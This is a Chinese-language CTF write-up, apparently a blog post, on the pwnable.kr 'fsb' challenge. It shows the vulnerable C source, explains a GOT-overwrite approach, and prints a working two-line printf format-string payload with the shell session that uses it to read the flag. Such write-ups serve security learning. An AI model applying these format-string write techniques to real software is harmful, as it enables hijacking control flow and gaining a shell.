https://r00tnb.github.io/2018/02/27/pwnable.kr-fsb/
【pwnable.kr】 fsb前言分析總結 前言 這是一道考察
printf
格式化字元串漏洞利用的題目,總的來說很簡單,但是我卻花了很長時間,主要是我有點太馬虎沒仔細分析代碼,笑哭。
分析 先分析源代碼
fsb.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
程式先獲得一個8位元組的随機數存于全局變量
key
中,然後調用
alloca
函數在棧上配置設定記憶體。之後調用
fsb
函數。在這個函數内部要想達到
exeve
函數執行shell,就必須輸入正确的
key
值。
這個
fsb
函數在
printf(buf)
處存在格式化字元串漏洞,關于漏洞利用網上有很多就不羅嗦了。那麼要getshell其實方法有很多,可以改寫
got
表也可以
leak
出key的值。這裡直接改寫
got
表好了,可以把
printf
的位址改寫為要執行shell的位址,這樣當執行
printf
時就跳到shell中了。
下面是exp
1
2
3
//各種位址和偏移在反彙編代碼中就可以看出來,就不一一分析了
%134520836c%14$n //把printf的got表位址寫入fsb函數的第一個參數中(方法很多你可以寫到棧上的很多位置)
%134514347c%20$n //向printf的got表寫入要執行shell的位址
1
2
3
4
5
6
7
8
[email protected]:~$ ./fsb >/dev/null 2>&1
%134520836c%14$n
%134514347c%20$n
cat flag >/tmp/flag
exit
[email protected]:~$ cat /tmp/flag
Have you ever saw an example of utilizing [n] format character?? :(
[email protected]:~$
要注意的是需要把程式的标準輸出和錯誤輸出重定向到
/dev/null
,這樣就不會因為輸出資料過多而卡死了。
總結 還是簡單的格式化字元串漏洞的題目,利用方法很多,當時因為一直想通過
alloca
函數來計算
key
而浪費了很多時間,然而這樣計算出來的隻是前4位元組,唉要細心啊。。